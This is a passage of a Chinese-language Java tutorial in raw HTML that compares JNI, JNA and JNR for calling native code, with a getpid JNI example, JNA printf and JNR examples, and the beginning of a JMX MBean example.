rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/* DO NOT EDIT THIS FILE - it is machine generated */</span><span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: rgb(152, 195, 121);line-height: 26px;">&lt;jni.h&gt;</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/* Header for class com_test_GetPidJni */</span><span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">ifndef</span> _Included_com_test_GetPidJni</span><span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">define</span> _Included_com_test_GetPidJni</span><span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">ifdef</span> __cplusplus</span><span style="color: rgb(198, 120, 221);line-height: 26px;">extern</span> <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;C&#34;</span> {<span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">endif</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/* * Class:     com_test_GetPidJni * Method:    getpid * Signature: ()J */</span><span style="line-height: 26px;">JNIEXPORT jlong JNICALL <span style="color: rgb(97, 174, 238);line-height: 26px;">Java_com_test_GetPidJni_getpid</span>  <span style="line-height: 26px;">(JNIEnv *, jclass)</span></span>;<span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">ifdef</span> __cplusplus</span>}<span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">endif</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">endif</span></span></p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">实现头文件</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(97, 174, 238);line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;com_test_GetPidJni.h&#34;</span></span><span style="line-height: 26px;">JNIEXPORT jlong JNICALL<span style="color: rgb(97, 174, 238);line-height: 26px;">Java_com_test_GetPidJni_getpid</span> <span style="line-height: 26px;">(JNIEnv * env, jclass c)</span> </span>{    <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> getpid();}</p></pre><div style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">编译 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">com_test_GetPidJni.c</p>，生成 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">libgetpidjni.dylib</p></div><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">$ gcc -I $JAVA_HOME/include -I $JAVA_HOME/include/darwin -dynamiclib -o libgetpidjni.dylib com_test_GetPidJni.c</p></pre><div style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">运行 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">GetPidJni</p> 类</div><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(97, 174, 238);line-height: 26px;">$</span><span style="line-height: 26px;"> java -Djava.library.path=`<span style="color: rgb(230, 192, 123);line-height: 26px;">pwd</span>` -cp <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;target/classes&#34;</span> com.test.GetPidJni</span></p></pre><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNA</h3><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.48906560636182905" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="png" data-w="503" src="https://wechat2rss.xlab.app/img-proxy/?k=6a132080&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9kljUuWWfaQ5Uic6Pbfv09monicE77qnrT4cw0WUxHBNiafHhnP5hWsWxQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">311340321101993.png</figcaption></figure><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以看到使用jna步骤减少了很多，最重要的是我们不需要重写我们的动态链接库文件，而是有直接调用的API</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">NA只需要我们写Java代码而不用写JNI或本地代码。功能相对于Windows的Platform/Invoke和Python的ctypes</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNA使用一个小型的JNI库插桩程序来动态调用本地代码</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNA包括一个已与许多本地函数映射的平台库，以及一组简化本地访问的公用接口</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNA把一个.dll/.so文件看做是一个Java接口</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">package</span> com.sun.jna.examples;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> com.sun.jna.Library;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> com.sun.jna.Native;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> com.sun.jna.Platform;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">HelloWorld</span> </span>{      <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">interface</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">CLibrary</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">extends</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">Library</span> </span>{        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//需要定义一个接口，继承自Library或StdCallLibrary</span>        CLibrary INSTANCE = (CLibrary)            Native.loadLibrary((Platform.isWindows() ? <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;msvcrt&#34;</span> : <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;c&#34;</span>),                               CLibrary<span style="line-height: 26px;">.<span style="color: rgb(198, 120, 221);line-height: 26px;">class</span>)</span>;        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//接口内部需要一个公共静态常量：INSTANCE，通过这个常量，就可以获得这个接口的实例.常量通过Native.loadLibrary()这个API函数获得.第一个参数是动态链接库dll/so的名称,第二个参数是本接口的Class类型。JNA通过这个Class类型，根据指定的.dll/.so文件，动态创建接口的实例</span>                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*搜索动态链 接库路径的顺序是：先从当前类的当前文件夹找，如果没有找到，再在工程当前文件夹下面找win32/win64文件夹，找到后搜索对应的dll文件，如果 找不到再到WINDOWS下面去搜索，再找不到就会抛异常*/</span>        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">printf</span><span style="line-height: 26px;">(String format, Object... args)</span></span>;    }<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//接口中只需要定义你要用到的函数或者公共变量，不需要的可以不定义</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> </span>{        CLibrary.INSTANCE.printf(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Hello, World\n&#34;</span>);        <span style="color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> i=<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>;i &lt; args.length;i++) {            CLibrary.INSTANCE.printf(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Argument %d: %s\n&#34;</span>, i, args[i]);        }    }}</p></pre><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">类型映射</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Java中是没有char *指针类型的，因此const char *转到Java下就是String类型</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>JNA是不能完全替代JNI的</strong></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNI技术，不仅可以实现Java访问C函数，也可以实现C语言调用Java代码，而JNA只能实现Java访问C函数。</p><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNR</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加依赖</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="line-height: 26px;">&lt;<span style="color: rgb(224, 108, 117);line-height: 26px;">dependency</span>&gt;</span>    <span style="line-height: 26px;">&lt;<span style="color: rgb(224, 108, 117);line-height: 26px;">groupId</span>&gt;</span>com.github.jnr<span style="line-height: 26px;">&lt;/<span style="color: rgb(224, 108, 117);line-height: 26px;">groupId</span>&gt;</span>    <span style="line-height: 26px;">&lt;<span style="color: rgb(224, 108, 117);line-height: 26px;">artifactId</span>&gt;</span>jnr-ffi<span style="line-height: 26px;">&lt;/<span style="color: rgb(224, 108, 117);line-height: 26px;">artifactId</span>&gt;</span>    <span style="line-height: 26px;">&lt;<span style="color: rgb(224, 108, 117);line-height: 26px;">version</span>&gt;</span>2.1.10<span style="line-height: 26px;">&lt;/<span style="color: rgb(224, 108, 117);line-height: 26px;">version</span>&gt;</span><span style="line-height: 26px;">&lt;/<span style="color: rgb(224, 108, 117);line-height: 26px;">dependency</span>&gt;</span></p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">创建本地库接口</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> com.github.jnr.ffi.LibraryLoader;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> com.github.jnr.ffi.NativeLibrary;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">interface</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MyNativeLibrary</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">extends</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">NativeLibrary</span> </span>{    MyNativeLibrary INSTANCE = LibraryLoader.create(MyNativeLibrary<span style="line-height: 26px;">.<span style="color: rgb(198, 120, 221);line-height: 26px;">class</span>).<span style="color: rgb(230, 192, 123);line-height: 26px;">load</span>(&#34;<span style="color: rgb(230, 192, 123);line-height: 26px;">mylibrary</span>&#34;)</span>;    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">add</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> a, <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> b)</span></span>;}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">加载本地类库</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">MyNativeLibrary nativeLibrary = MyNativeLibrary.INSTANCE;</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">调用本地函数</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> result = nativeLibrary.add(<span style="color: rgb(209, 154, 102);line-height: 26px;">10</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">20</span>);System.out.println(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Result: &#34;</span> + result);</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">处理异常</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">try {    int result = nativeLibrary.add(10, 20);    System.out.println(&#34;Result: &#34; + result);} catch (Throwable t) {    t.printStackTrace();}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">效率JNI&gt;JNR&gt;JNA</p><h2 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JMX</h2><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">简单来说jmx是一个管理MBean的规范，各种组件实现了各自的JMX实现，可以用来监控管理我们的指定的java程序</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">首先定义一个MBean接口和实现他的类</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">package</span> com.wdbyte.jmx;<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/** * <span style="color: rgb(198, 120, 221);line-height: 26px;">@author</span> <a href="https://www.wdbyte.com" target="_blank">https://www.wdbyte.com</a> */</span><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">interface</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MyMemoryMBean</span> </span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">getTotal</span><span style="line-height: 26px;">()</span></span>;    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">setTotal</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> total)</span></span>;    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">getUsed</span><span style="line-height: 26px;">()</span></span>;    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">setUsed</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> used)</span></span>;    <span style="line-height: 26px;">String <span style="color: rgb(97, 174, 238);line-height: 26px;">doMemoryInfo</span><span style="line-height: 26px;">()</span></span>;}</p></pre><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MyMemory</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">implements</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MyMemoryMBean</span> </span>{    <span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> total;    <span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> used;    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">getTotal</span><span style="line-height: 26px;">()</span> </span>{        <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> total;    }    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 